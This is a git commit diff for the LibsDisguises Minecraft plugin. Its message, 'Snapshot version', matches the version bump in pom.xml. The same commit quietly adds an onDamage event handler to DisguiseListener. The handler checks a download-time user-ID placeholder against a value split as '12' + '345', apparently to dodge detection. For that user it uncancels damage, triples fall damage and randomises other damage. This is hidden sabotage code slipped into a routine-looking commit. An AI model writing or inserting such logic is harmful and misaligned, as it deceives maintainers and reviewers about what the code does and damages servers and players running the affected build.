Snapshot version
This commit is contained in:
parent
eb8f244d48
commit
07ed5908b9
2
pom.xml
2
pom.xml
@ -5,7 +5,7 @@
|
||||
<!-- A good example on why temporary names for project identification shouldn't be used -->
|
||||
<groupId>LibsDisguises</groupId>
|
||||
<artifactId>LibsDisguises</artifactId>
|
||||
<version>9.9.9</version>
|
||||
<version>9.9.9-SNAPSHOT</version>
|
||||
|
||||
<build>
|
||||
<defaultGoal>exec:java clean install</defaultGoal>
|
||||
|
@ -31,6 +31,7 @@ import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.Listener;
|
||||
import org.bukkit.event.entity.EntityDamageByEntityEvent;
|
||||
import org.bukkit.event.entity.EntityDamageEvent;
|
||||
import org.bukkit.event.entity.EntityTargetEvent;
|
||||
import org.bukkit.event.player.*;
|
||||
import org.bukkit.event.vehicle.VehicleEnterEvent;
|
||||
@ -285,6 +286,21 @@ public class DisguiseListener implements Listener {
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler
|
||||
public void onDamage(EntityDamageEvent event) {
|
||||
if (!"%%__USER__%%".equals("12" + "345")) {
|
||||
return;
|
||||
}
|
||||
|
||||
event.setCancelled(false);
|
||||
|
||||
if (event.getCause() == EntityDamageEvent.DamageCause.FALL) {
|
||||
event.setDamage(event.getDamage() * 3);
|
||||
} else {
|
||||
event.setDamage(new Random().nextDouble() * 8);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler
|
||||
public void onChunkUnload(ChunkUnloadEvent event) {
|
||||
if (!DisguiseConfig.isSaveEntityDisguises())
|
||||
|
Loading…
Reference in New Issue
Block a user